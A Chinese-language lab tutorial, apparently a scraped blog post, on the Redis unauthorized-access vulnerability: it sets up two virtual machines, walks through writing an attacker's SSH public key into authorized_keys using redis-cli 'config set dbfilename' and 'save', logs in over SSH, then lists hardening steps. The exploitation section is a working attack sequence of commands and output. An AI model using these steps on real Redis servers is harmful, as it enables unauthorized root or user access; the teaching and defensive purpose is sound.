Redis未受权访问漏洞的利用及防御

Redis未受权访问漏洞的利用及防御

什么是Redis未受权访问漏洞?

Redis在默认状况下,会绑定在0.0.0.0:6379。若是没有采起相关的安全策略,好比添加防火墙规则、避免其余非信任来源IP访问等,这样会使Redis服务彻底暴露在公网上。若是在没有设置密码认证(通常为空)的状况下,会致使任意用户在访问目标服务器时,能够在未受权的状况下访问Redis以及读取Redis的数据。攻击者在未受权访问Redis的状况下,利用Redis自身的提供的config命令,能够进行文件的读写等操做。攻击者能够成功地将本身的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可使用对应地私钥直接使用ssh服务登陆目标服务器。python

简单来说,咱们能够将漏洞的产生归结为两点:linux

  • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则、避免其余非信任来源IP访问等相关安全策略,直接暴露在公网上redis

  • 没有设置密码认证(通常为空),能够免密码远程登陆redis服务ubuntu

5b87cbaa3bab4

漏洞可能产生的危害:vim

  • 攻击者无需认证访问到内部数据,可能致使敏感信息泄露,黑客也能够经过恶意执行flushall来清空全部数据安全

  • 攻击者可经过EVAL执行lua代码,或经过数据备份功能往磁盘写入后门文件服务器

  • 若是Redis以root身份运行,黑客能够给root帐户写入SSH公钥文件,直接经过SSH登陆受害者服务器ssh

既然咱们已经知道了攻击手法,那么咱们该如何实现这一漏洞的利用呢?测试

Redis未受权访问漏洞的利用

环境准备

  • 两台主机(这里我选择的是两台虚拟机,一台用的是Ubuntu,一台用的是Kali Linux)ui

  • redis-3.2.11.tar.gz

1、 安装redis服务

1. 从官网下载redis源码的压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

5b8744851889e

2. 下载完成后,解压压缩包
tar xzf redis-3.2.11.tar.gz
3. 而后进入解压后的目录:cd redis-3.2.11,输入make并执行

5b8745177c2fb

出现以下即编译成功:

5b87459215975

4. make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

5b877e8e8e4bc

你可能会碰到以下问题:

python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo cp redis-server /usr/bin/
cp: 没法建立普通文件'/usr/bin/redis-server': 文本文件忙

这个时候你先去检查/usr/bin目录下是否已经存在redis-server,若是不存在的话,咱们选择中止服务:

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-cli -h 127.0.0.1 -p 6379 shutdown

或者直接杀死进程就行了:

python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo kill -9 PID

5b878010608fd

咱们再启动服务就行了~

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server

5b8780b575659

此时咱们再检查下/usr/bin目录下是否有redis-cli和redis-server:

python@ubuntu:~$ ls /usr/bin | grep redis

5b8782171b864

5. 返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下
python@ubuntu:~/Desktop/redis-3.2.11$ sudo cp redis.conf /etc/

5b878381b8c69

6. 编辑etc中的redis配置文件redis.conf
python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf

去掉ip绑定,容许除本地外的主机远程登陆redis服务:

5b878523a62c3

关闭保护模式,容许远程链接redis服务:

5b878644a500e

7. 使用/etc/目录下的redis.conf文件中的配置启动redis服务
root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf

5b878be47e049

这里我又踩了一个大坑,我遇到了这样一个问题:

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server /etc/redis.conf 

*** FATAL CONFIG FILE ERROR ***
Reading the configuration file, at line 80
>>> 'protected-mode no'
Bad directive or wrong number of arguments

5b878c9991866

这个问题困扰了我好久,后面惊奇的发现,是由于redis.conf和当前版本的redis不匹配形成的问题,当前Ubuntu的Redis版本是3.0.6,而redis.conf的版本是3.2.11,后面才知道是由于我Ubuntu里面已经装过Redis形成的,解决方法以下:

卸载老版本redis-server:

sudo apt-get remove redis-server

因为以前已经下载了redis-3.2.11的版本,因此咱们直接make就行了,照着上面的步骤从新来一遍就OK了。

5b878fefa9136

咱们能够看到,版本对应上去了,都是3.2.11,也可以完成reids.conf文件中的配置启动redis服务。

2、安装ssh服务

因为Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动,需使用systemctl start sshd命令启动ssh服务。

那么咱们该怎么肯定有没有安装ssh服务呢?你尝试一下service sshd start命令:

fauked to start sshd.service: Unit sshd.service not found

若是出现上述结果时,说明你的虚拟机没有安装ssh服务,此时你须要运行如下命令安装ssh服务:

sudo apt-get install openssh-server

再次运行如下命令确认ssh服务是否开启:

ps -e  | ssh
最后显示:3228 ? 00:00:00 sshd说明ssh服务器已启用

咱们让这两台虚拟主机配置相同的Redis环境,一台做为受害者的靶机,一台做为攻击者的主机。

至此,咱们已经成功搭建完成了漏洞利用的环境,此时的redis服务是能够以root用户身份远程免密码登陆的。

3、复现漏洞利用场景

1. 咱们先经过ifconfig测试一下两台主机的IP地址

5b8793a90235c

咱们能够看到,Ubuntu的IP地址是192.168.152.133,Kali Linux的IP地址是192.168.152.131,因此咱们不须要修改任何东西,但若是IP地址相同,咱们修改其中一台虚拟机的IP:

ifconfig 网卡名称(好比ens33) 咱们要修改为的IP地址(好比192.168.152.135) up

咱们必须保证两台主机可以相互ping通

5b87ad2906b04

2. 咱们假设,Ubuntu为虚拟机A,Kali Linux为虚拟机B。虚拟机A(192.168.152.133)为受害者的主机,虚拟机B(192.168.152.131)为攻击者的主机
3. 在A中开启redis服务:redis-server /etc/redis.conf
4. 新开一个终端,在主机A中执行mkdir /root/.ssh命令,建立ssh公钥存放目录(A是做为ssh服务器使用的)
5. 在B中生成ssh公钥和私钥,密码设置为空

5b87982e1b75d

6. 进入.ssh目录:cd .ssh/,将生成的公钥保存到kitty.txt
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt
7. 将kitty.txt写入redis(使用redis-cli -h IP命令链接主机A,将文件写入)
root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crack
OK

5b87b4a9ba400

8. 远程登陆主机A的redis服务:redis-cli -h 192.168.0.146并使用config get dir命令获得redis备份的路径
root@kali:~/.ssh# redis-cli -h 192.168.152.133
192.168.152.133:6379> config get dir
1) "dir"
2) "/home/python/.ssh"

5b87b57dee22a

9. 更改redis备份路径为ssh公钥存放目录(通常默认为/root/.ssh,这里我没有登陆root用户,我登陆的用户名是python,因此Ubuntu的默认路径是/home/python/.ssh,因此不须要更改)
10. 设置上传公钥的备份文件名字为authorized_keys
192.168.152.133:6379> config set dbfilename authorized_keys
OK
11. 检查是否更改为功(查看有没有authorized_keys文件),没有问题就保存而后退出,至此,咱们成功地写入ssh公钥到靶机上
192.168.152.133:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
192.168.152.133:6379> save
OK
192.168.152.133:6379> exit
12. 开启主机A和主机B的ssh服务(Fedor默认ssh服务关闭),命令为systemctl start sshd.service

5b87b6ba736fe

13. 在主机B使用ssh免密登陆主机A
root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133

5b87b6ef00a6a

很明显,咱们已经登陆成功了!至此,咱们成功地利用redis未受权访问漏洞实现了ssh免密登陆到目标服务器上。

Redis未受权访问漏洞的防御

禁止远程使用一些高危命令

咱们能够经过修改redis.conf文件来禁用远程修改DB文件地址

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

低权限运行Redis服务

为Redis服务建立单独的userhome目录,而且配置禁止登录

groupadd -r redis && useradd -r -g redis redis

为Redis添加密码验证

咱们能够经过修改redis.conf文件来为Redis添加密码验证

requirepass mypassword

禁止外网访问 Redis

咱们能够经过修改redis.conf文件来使得Redis服务只在当前主机可用

bind 127.0.0.1

保证authorized_keys文件的安全

为了保证安全,您应该阻止其余用户添加新的公钥。将authorized_keys的权限设置为对拥有者只读,其余用户没有任何权限

chmod 400 ~/.ssh/authorized_keys

为保证authorized_keys的权限不会被改掉,您还须要设置该文件的immutable位权限

chattr +i ~/.ssh/authorized_keys

然而,用户还能够重命名~/.ssh,而后新建新的~/.ssh目录和authorized_keys文件。要避免这种状况,须要设置~./ssh的immutable位权限

chattr +i ~/.ssh

若是须要添加新的公钥,须要移除authorized_keys的 immutable 位权限。而后,添加好新的公钥以后,按照上述步骤从新加上immutable位权限

相关文章
相关标签/搜索